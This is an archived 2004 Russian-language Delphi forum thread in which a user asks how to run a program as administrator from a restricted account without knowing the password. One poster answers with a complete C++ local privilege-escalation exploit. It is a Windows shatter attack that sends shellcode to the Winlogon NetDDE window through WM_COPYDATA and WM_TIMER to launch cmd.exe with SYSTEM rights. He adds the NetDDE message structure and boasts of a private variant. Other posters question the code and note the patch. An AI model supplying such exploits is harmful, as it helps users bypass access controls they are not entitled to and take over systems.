Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2004.11.28;
Скачать: [xml.tar.bz2];

Вниз

Запуск программы под другим пользователем.   Найти похожие ветки 

 
shelest   (2004-10-15 10:23) [0]

Нашел темку про запуск программы под другим пользователем.
Но это запуск из проекта. А как сам проект запустить под другим пользователем? Как служба - отпадает.


 
Игорь Шевченко ©   (2004-10-15 10:37) [1]


> А как сам проект запустить под другим пользователем?


RunAs


 
shelest   (2004-10-15 10:39) [2]

Если можно по подробней. :)


 
Игорь Шевченко ©   (2004-10-15 10:51) [3]

Подробнее всего отвечает www.google.com


 
shelest   (2004-10-15 10:51) [4]

Нет. RunAs не катит тоже.
Объясню поподробней:
Есть пользователь с минимальными правами.
Мне нужно сделать программу, которая запускалась бы с правами Администратора и производила действия с файлами, но нельзя было бы увидеть, ни пароль, ни пользователя.


 
shelest   (2004-10-15 10:53) [5]

А насколько я понял RunAs производит запуск программы, но при этом надо явно указывать и логин и пароль.


 
Игорь Шевченко ©   (2004-10-15 11:12) [6]

shelest   (15.10.04 10:51) [4]


> Есть пользователь с минимальными правами.
> Мне нужно сделать программу, которая запускалась бы с правами
> Администратора и производила действия с файлами


Ты Microsoft совсем за дураков считаешь ?


 
shelest   (2004-10-15 11:15) [7]

Ага. А позволять запуск программы из другой программы с правами Админа это не дурость? Это наверное гуманизм и любовь ко всем разработчикам.


 
=SOFT=   (2004-10-15 11:48) [8]

Даю направление - юзай сообщения винды!!!
У мелкомягких есть большая бага :)
Винда не фильтрует от какой программы и какими правами пришло сообщение. Будь то от "Гость", будь то "Админ.".
Есть такая фича, называется Внедрение в чужое адресное пространство, т.е. находишь процесс у которого права системы,   например Winlogon, используя SetWindowsText записываешь в нее какой нибудь шелл, потом посылаешь сообщение таймера SendMessage(WM_Timer ...), что мол нужно перейти через 1 сек. по адресу (адрес той области куда ты записал свой шелл), процесс выполняет твой шелл (а внем например ты запускаешь, CMD.EXE) и по наследству твой процесс из шелла получает прова системы, которые по привилегии выше даже прав администратора :)
Все это проверенно и работает, а также есть множество модификаций данного внедрения.
Читай http://bugtraq.ru/ и ему подобные :)

З.Ы.
Игорь Шевченко ©   (15.10.04 11:12) [6]

//Ты Microsoft совсем за дураков считаешь ?

Дураки, не дураки, но никто не идеален, человеку свойственно ошибаться, этим он и отличается от машины.


 
wal ©   (2004-10-15 11:50) [9]

Та не поверишь, но при запуске из другой программы тоже пароль знать надо.


 
=SOFT=   (2004-10-15 11:53) [10]

wal ©   (15.10.04 11:50) [9]
 >Та не поверишь, но при запуске из другой программы тоже пароль знать надо.

Я не верю !!!!!!!
Как я уже говорил (см. выше) - ЭТО ПРОВЕРЕННО И РАБОТАЕТ!!!!


 
VMcL ©   (2004-10-15 12:16) [11]

>>=SOFT=  (15.10.04 11:48) [8]

(невинно так) А CMD.EXE символов с кодом 0 случайно не содержит?


 
VMcL ©   (2004-10-15 12:19) [12]

>>=SOFT=  (15.10.04 11:48) [8]

(Еще более невинно) А страница памяти, где будет находится строка с кодом шелла, откуда возьмёт тип защиты PAGE_EXECUTE?


 
Игорь Шевченко ©   (2004-10-15 12:19) [13]

=SOFT=   (15.10.04 11:48) [8]

Ключевое слово:
> записываешь в нее какой нибудь шелл


Мне страшно интересно, как ты это сделаешь, не имея прав.


 
BiN ©   (2004-10-15 12:43) [14]

=SOFT=   (15.10.04 11:48) [8]

А дыра эта уже давно закрыта и мхом поросла. Проверено :)


 
=SOFT=   (2004-10-15 13:26) [15]

VMcL ©   (15.10.04 12:16) [11]
 >>(невинно так) А CMD.EXE символов с кодом 0 случайно не содержит?

Возьми HEXEditor и посмотри :)

Игорь Шевченко ©   (15.10.04 12:19) [13]
 >> =SOFT=   (15.10.04 11:48) [8]
 >> записываешь в нее какой нибудь шелл

>Мне страшно интересно, как ты это сделаешь, не имея прав.
О каких правах ты говоришь, хватит прав учетной записи "Гость" для запуска программы, а программе права ненужны для отправки сообщений!!! Нет привилегий в сообщениях - они все равны!!!

А если серьезно то эта вещь :) называется Shattering SEH.
Дабы не долго рассуждать, привожу листинг кода. Правда он писан на С++, и глупо с моей стороны его вставлят на сайт "Мастера Делфи" :), НО что бы понять принцип, я думаю меня простят и поймут.


#include <windows.h>
#include <stdio.h>

void main(int argc, char *argv[ ], char *envp[ ] )
{
char *buf;
DWORD Addr = 0;
BOOL bExec = TRUE;

unsigned char sc[] = { // my simple shellcode, it calls CreateProcess function,
      // executes cmd.exe on user`s desktop and creates mutex.
 0x8B, 0xF4,
 0x68, 0x53, 0x45, 0x52, 0x00,
 0x8B, 0xDC, 0x54, 0x6A, 0x00, 0x6A, 0x00,
 0xB8, 0xC8, 0xD7, 0xE8, 0x77, 0xFF, 0xD0, 0x8B, 0xE6,
    0x6A, 0x00, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x00,
 0x63, 0x6D, 0x64, 0x68, 0x61, 0x75, 0x6C, 0x74, 0x68, 0x5C, 0x44,
 0x65, 0x66, 0x68, 0x53, 0x74, 0x61, 0x30, 0x68, 0x00, 0x57, 0x69,
 0x6E, 0x8B, 0xD4, 0x42, 0xB9, 0x50, 0x00, 0x00, 0x00, 0x6A, 0x00,  
 0xE2, 0xFC, 0x6A, 0x44, 0x83, 0xC4, 0x0C, 0x52, 0x83, 0xEC, 0x0C,
 0x8B, 0xC4, 0x83, 0xC0, 0x10, 0x50, 0x8B, 0xC4, 0x83, 0xC0, 0x08,
 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
 0x6A, 0x00, 0x83, 0xC2, 0x10, 0x52, 0x6A, 0x00, 0xB8, 0x4D, 0xA4,
 0xE9, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0xC3
};

HWND   hWnd;
COPYDATASTRUCT cds;
OSVERSIONINFO osvi;
HMODULE   hMod;
DWORD   ProcAddr;
HANDLE   hMutex;
char   mutname[4];
char aaa[200];
int n,m;
HWND h=1111;

printf("\n\n==== GetAd by Serus (serus@users.mns.ru) ====");

// Get NetDDE Window
hWnd = FindWindow("NDDEAgnt","NetDDE Agent");
if(hWnd == NULL)
{
 MessageBox(NULL, "Couldn"t find NetDDE agent window", "Error", MB_OK | MB_ICONSTOP);
 return;
}

// Get CreateProcessA and CreateMutexA entry addresses
hMod = GetModuleHandle("kernel32.dll");

ProcAddr = (DWORD)GetProcAddress(hMod, "CreateProcessA");

if(ProcAddr == 0)
{
 MessageBox(NULL, "Couldn"t get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP);
 return;
}
*(DWORD *)(sc + 86 + 21) = ProcAddr;

ProcAddr = (DWORD)GetProcAddress(hMod, "CreateMutexA");
if(ProcAddr == 0)
{
 MessageBox(NULL, "Couldn"t get CreateMutexA address", "Error", MB_OK | MB_ICONSTOP);
 return;
}
*(DWORD *)(sc + 15) = ProcAddr;

//Generate random Mutex name
srand(GetTickCount());

do
{
 mutname[0] = 97 + rand()%25;
 mutname[1] = 65 + rand()%25;
 mutname[2] = 65 + rand()%25;
 mutname[3] = 0;
}
while((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0);
memcpy(sc + 3, mutname, 4);

//Form buffer for SendMessage
buf = (char *)malloc(1000);
memset(buf, 0xC3, 1000);
memcpy(buf, sc, sizeof(sc));

cds.cbData = 1000;
cds.dwData = 0;
cds.lpData=(PVOID)buf;

//Get OS version
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&amp;osvi) == 0)
{
 printf("\nWarning! Couldn"t get OS verson. Trying as Win2k.\n");
 osvi.dwMajorVersion = 5;
}


if(osvi.dwMajorVersion != 5)
{
 MessageBox(NULL, "This program for Win2k and WinXP only!", "Error", MB_OK | MB_ICONSTOP);
 return;
}

if(osvi.dwMinorVersion == 0)
{
 // Windows 2000

 printf("\n\nUse Windows 2000 offsets");

 //If first login
 //Send shellcode buffer
 SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&amp;cds);
 //Try execute it at 0x0080FA78
 PostMessage(hWnd, WM_TIMER, 0, (LPARAM)0x0080FA78);

 printf("\nTrying at 0x%X", 0x0080FA78);

 //If fails (perhaps not first login)
 //Try to bruteforce shellcode addresss
 for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000)
 {
  //If mutex exists, shellcode has been executed
  if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0)
  {
   //Success
   printf("\nSuccess!!!\n");
   printf("\nWarning! You system has vulnerability!\n");
   CloseHandle(hMutex);
   return;
  }
  printf("\rTrying at 0x%X", Addr);

 SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&amp;cds);
 PostMessage(hWnd, WM_QUIT, 1, (LPARAM)Addr);
 }
}
else
{
 // Windows XP

 printf("\n\nUse Windows XP offsets\n");

 //Try to bruteforce shellcode addresss

 for(m = 100; m <= 0xffff; m++)
 {

 for(Addr = 0x00A0FA74; Addr < 0x01000000; Addr += 0x10000)
 {
  //If mutex exists, shellcode has been executed
  if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0)
  {
   //Success
   printf("\nSuccess!!!\n");
   printf("\nWarning! You system has vulnerability!\n");
   CloseHandle(hMutex);
   return;
  }
  printf("\rTrying at 0x%X       Message = 0x%X", Addr, m);

 SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&amp;cds);
 PostMessage(hWnd, m, (LPARAM)Addr, (LPARAM)Addr);
 }
 }
}
//Bug in winlogon not presents
printf("\n\nBad luck! Try after first logon.\n\n");
}


 
=SOFT=   (2004-10-15 13:38) [16]

BiN ©   (15.10.04 12:43) [14]

>А дыра эта уже давно закрыта и мхом поросла. Проверено :)

Что ты понимаешь под фразой "дыра эта уже давно закрыта", что бы ее закрыть нужно переписать технологию Вин. сообщений. Мелкомягкие ее переписали???? Я так не думаю.
Они только залатали в 1 SP к XP Winlogon.
Это дело я привел только ради наглядного примера, но в умелых руках етна фича станет боевым другом :). Для "работы" я уже говорил что существует масса модификаций. Что за народ пошел, никто нехочит напряч мозги, и доработать тему дальше.
На последок скажу, что у меня есть мой личный "боевой друг", и он работает даже на 2SP for XP, но приводить код я небуду по понятным причинам :)


 
Игорь Шевченко ©   (2004-10-15 14:01) [17]

=SOFT=   (15.10.04 13:26) [15]

Что-то я не соображу, что делает этот код.


>  for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000)
>  {
>   //If mutex exists, shellcode has been executed
>   if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname))
> != 0)
>   {
>    //Success
>    printf("\nSuccess!!!\n");
>    printf("\nWarning! You system has vulnerability!\n");
>    CloseHandle(hMutex);
>    return;
>   }
>   printf("\rTrying at 0x%X", Addr);
>
>  SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
>  PostMessage(hWnd, WM_QUIT, 1, (LPARAM)Addr);
>  }
> }


На мой взгляд - полный бред.

Кроме того, оконная процедура NetDDE ожидает несколько других данных в буфере для COPYDATA.


 
BiN ©   (2004-10-15 14:07) [18]

=SOFT=   (15.10.04 13:38) [16]

Что ты понимаешь под фразой "дыра эта уже давно закрыта", что бы ее закрыть нужно переписать технологию Вин. сообщений.


Нет, достаточно лишь изменить обработку сообщения WM_TIMER, что они и сделали. WM_Timer не пересылается между приложениями различных пользователей.

На последок скажу, что у меня есть мой личный "боевой друг", и он работает даже на 2SP for XP, но приводить код я небуду по понятным причинам :)

Да, таких шеллов действительно пруд пруди, но у меня на W2kserver  SP4 ни один из них не работает.


 
BiN ©   (2004-10-15 14:15) [19]

BiN ©   (15.10.04 14:07) [18]
Нет, достаточно лишь изменить обработку сообщения WM_TIMER, что они и сделали. WM_Timer не пересылается между приложениями различных пользователей.



Прошу прощение за непроверенную информацию. Вот провел тест - выяснилось, что это сообщение все же посылается между приложениями разных пользователей.

Но все равно подобные эксплоиты у меня не работают, чему я, собственно, только рад


 
Игорь Шевченко ©   (2004-10-15 14:38) [20]

BiN ©   (15.10.04 14:15) [19]


> Вот провел тест - выяснилось, что это сообщение все же посылается
> между приложениями разных пользователей.


Но процедура вызывается в контексте того процесса, чьей очереди было послано сообщение WM_TIMER. Отсюда вывод, что для того, чтобы такое сработало, необходимо внедрить код в целевой процесс и передать адрес этого кода в lParam для WM_TIMER.

Собственно говоря, аналог CreateRemoteThread.

Я вот сильно сомневаюсь, что у бесправного процесса получится легко и просто внедрить код в адресное пространство привилегированного процесса.


 
=SOFT= ©   (2004-10-15 14:44) [21]

Игорь Шевченко ©   (15.10.04 14:01) [17]

>Что-то я не соображу, что делает этот код.
> ...
>На мой взгляд - полный бред.
>Кроме того, оконная процедура NetDDE ожидает несколько других данных в буфере для COPYDATA.

От чегоже "полный бред"?
Читай ремарки - //Try to bruteforce shellcode addresss
if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname))> != 0)
Брут на наличие шелла.

BiN ©   (15.10.04 14:07) [18]
> Да, таких шеллов действительно пруд пруди, но у меня на W2kserver  SP4 ни один из них не работает.

Мне кажится, что ты не совсем правильно понимаешь термин шелл, но  в принципе это не важно... На W2kserver SP4 испытать мне не довилось, врать не буду. Но обезательно проверю.

BiN ©   (15.10.04 14:15) [19]
> Прошу прощение за непроверенную информацию. Вот провел тест - выяснилось, что это сообщение все же посылается между приложениями разных пользователей.

А я о чем говорю, нет фильтровки по правам на сообщения! :)

> Но все равно подобные эксплоиты у меня не работают, чему я, собственно, только рад.

Спасибо Товаришь за сигнал! :)
Проверим, доработаем ... не бойтесь и у вас эксплоиты работають будут! (Шутка ;)


 
Игорь Шевченко ©   (2004-10-15 14:58) [22]

=SOFT= ©   (15.10.04 14:44) [21]


> Брут на наличие шелла


Ты будь любезен изъясняться так, чтобы тебя понимали. Читать я умею, еще в школе выучили. Ты сам этот код запускал ? Ты можешь сказать, что делается в приведенном мной участке, или кроме пересказа комментариев сказать нечего ?


 
=SOFT= ©   (2004-10-15 18:02) [23]

Удалено модератором


 
Игорь Шевченко ©   (2004-10-15 18:23) [24]

=SOFT= ©   (15.10.04 18:02) [23]

Мне разжевывать не надо, особенно про мутексы, и процесс взлома меня совершенно не интересует, равно, как и атак.

Но вот то, что послав сообщение WM_COPYDATA с ТАКИМ вот буфером окну NetDDE можно получить такой результат


> После всего этого можно: скопировать шеллкод
> в heap область NetDDE


То есть, вот это вот утверждение для меня и неочевидно.

Насколько я знаю, оконная процедура NetDDE в качестве параметра для WM_COPYDATA ждет вполне определенной структуры и произвольный код она выполнять не должна. (Определяется WinDbg).

ЗЫ: твой предыдущий пост я потру. Без обид, нечего плодить пакостников, мы не на xakep.ru


 
=SOFT= ©   (2004-10-15 19:14) [25]

Жалко конечно пост, НО спокойствие админов "Мастера Делфи" для меня куда важней :)))), так что я не обижаюсь.

Игорь Шевченко ©   (15.10.04 18:23) [24]
>....

>То есть, вот это вот утверждение для меня и неочевидно.

>Насколько я знаю, оконная процедура NetDDE в качестве параметра для WM_COPYDATA ждет вполне определенной структуры и произвольный код она выполнять не должна. (Определяется WinDbg).

При запуске Network DDE DSDM service, WINLOGON создает спрятанное окно для межпроцессного взаимодействия с различными NetDDE компонентами. С использованием "DDE Copy Data" можно добиться выполнения команд на system.
Невидимое окно класса "NDDEAgnt" создается с именем "NetDDE Agent". Одним из обрабатываемых данным окном сообщений является WM_COPYDATA.
Структура, передаваемая окну с помощью SendMessage, выглядит так:

4 байта - E1 DD E1 DD
4 байта - 01 00 00 00
4 байта - 01 00 00 00
8 байт - 05 00 00 09 00 00 00 01 (DDE Share Mod Id)
4 байта - CC CC CC CC

ASCIIZ - "SHARENAME$" (null terminated string: DDE Trusted Share Name)
ASCIIZ - "cmd.exe" (null terminated string: DDE Server Startup Command)



При обработке строки система проверяет первые 12 байт, затем конвертирует 2 аски строки в unicode. Share Mod Id сравнивается с тем, что указан в структуре, и если они равны, происходит выполнение второй строки в контексте процесса WINLOGON, то есть с system-привилегиями.

Надеюсь, я провильно тебя понял и ответил на твой вопрос?


 
Игорь Шевченко ©   (2004-10-15 20:52) [26]

=SOFT= ©   (15.10.04 19:14) [25]


> НО спокойствие админов "Мастера Делфи" для меня куда важней
> :)))), так что я не обижаюсь


Надеюсь, мы друг друга поняли и правильно :)


> При обработке строки система проверяет первые 12 байт
> ....


Вот я это же самое и имел в виду.
Насколько я понял, тот буфер, который пересылается в коде, такой структуры не имеет (или я здорово проглядел ?), так каким образом обеспечивается выполнение кода того буфера ? Именно кода, так как в посте [25] сказано, что в контексе WinLogon исполняется командная строка (CMD.EXE в данном случае) ?


 
=SOFT= ©   (2004-10-15 22:05) [27]

Да, система не «поймет», что нам нужна общая проекция данных для корректировки указателей при их пересылке.
Чтобы переслать данные окну другого процесса, нужно сначала инициализиро вать эту структуру. Что мы и делаем.

...
COPYDATASTRUCT cds;
...
cds.cbData = 1000;
cds.dwData = 0;
cds.lpData=(PVOID)buf;
...
SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
...

Элемент dwData резервируется для использования в Вашей программе В него разрешается записывать любое значение. Например, передавая в другой процесс данные, в этом элементе можно указывать тип данных.
Элемент cbData задает число байтов, пересылаемых в другой процесс, a lpData указывает на первый байт данных Адрес, идентифицируемый элементом lpData, на ходится, конечно же, в адресном пространстве отправителя.
Увидев, что Вы посылаете сообщение WM_COPYDATA, SendMessage создает проекцию файла размером cbData байтов и копирует данные из адресного пространства Вашей программы в эту проекцию. Затем отправляет сообщение окну-приемнику. При обработке этого сообщения принимающей оконной процедурой параметр lParam указывает на структуру COPYDATASTRUCT, которая находится в адресном простран ствепроцесса-приемника Элемент lpData этой структуры указывает на проекцию файла в адресном пространстве процесса-приемника.

Очень советую глянуть:
http://void.ru/content/643 - Игорю Шевченко смотреть обезательно :)
а также по данной теме:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0015
http://www.microsoft.com/technet/security/bulletin/MS01-007.mspx

Надеюсь этому посту больше повезет, чем [23]`му ;)))

З.Ы. За сим прошу меня извинить, но до 18.10.2004 я в инете не буду, и соответственно несмогу продолжать столь занимательную дисскусию :).
З.Ы.Ы. Итак на работе засиделси :)

Игорю Шевченко желаю удачи в соискании данной тематики! Как говорится "Ищещиму да воздастся" :) Удачи! Пока.


 
Игорь Шевченко ©   (2004-10-15 22:15) [28]

=SOFT= ©   (15.10.04 22:05) [27]

Хэлп по WM_COPYDATA мне тоже не нужно рассказывать, я его знаю, чего не знаю, могу прочитать по F1 :)


> COPYDATASTRUCT cds;
> ...
> cds.cbData = 1000;
> cds.dwData = 0;
> cds.lpData=(PVOID)buf;
> ...
> SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);


Так вот, согласно посту [25], cds.lpData должна указывать на структуру вида

> 4 байта - E1 DD E1 DD
> 4 байта - 01 00 00 00
> 4 байта - 01 00 00 00
> 8 байт - 05 00 00 09 00 00 00 01 (DDE Share Mod Id)
> 4 байта - CC CC CC CC
>
> ASCIIZ - "SHARENAME$" (null terminated string: DDE Trusted
> Share Name)
> ASCIIZ - "cmd.exe" (null terminated string: DDE Server Startup
> Command)


Насколько видно из предыдущего кода (большого фрагмента на С), buf содержит совершенно другую структуру.

Вопрос: как высказывание из поста [25] (верное, кстати) совместить с тем кодом, который должен работать согласно приведенному ?


 
VMcL ©   (2004-10-15 23:40) [29]

>>=SOFT= ©  (15.10.04 22:05) [27]

>Очень советую глянуть:
http://void.ru/content/643 - Игорю Шевченко смотреть обезательно :)
а также по данной теме:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0015
http://www.microsoft.com/technet/security/bulletin/MS01-007.mspx



А сам не пробовал читать?

Affected Software:

• Microsoft Windows 2000 Professional
• Microsoft Windows 2000 Server    
• Microsoft Windows 2000 Advanced Server
• Microsoft Windows 2000 Datacenter Server

...

Installation platforms:

This patch can be installed on systems running Windows 2000 Service Pack 1 and Service Pack 2.

Inclusion in future service packs:

The fix for this issue will be included in Windows 2000 Service Pack 3.


Не так уж много найдется людей, работающих без четвертого SP, не говоря уже про третий.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2004.11.28;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.56 MB
Время: 0.043 c
14-1099077051
Cerberus
2004-10-29 23:10
2004.11.28
Скушно


3-1099387747
malamba
2004-11-02 12:29
2004.11.28
создание автосчетчика в базе посредство SQL


14-1099975942
YurikGL
2004-11-09 07:52
2004.11.28
Посмотреть!!!


6-1095347434
Lord de Mon
2004-09-16 19:10
2004.11.28
Proxy в NMHTTP


3-1099400743
Nexel
2004-11-02 16:05
2004.11.28
Delphi+Bde+Paradox=Index out of date





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский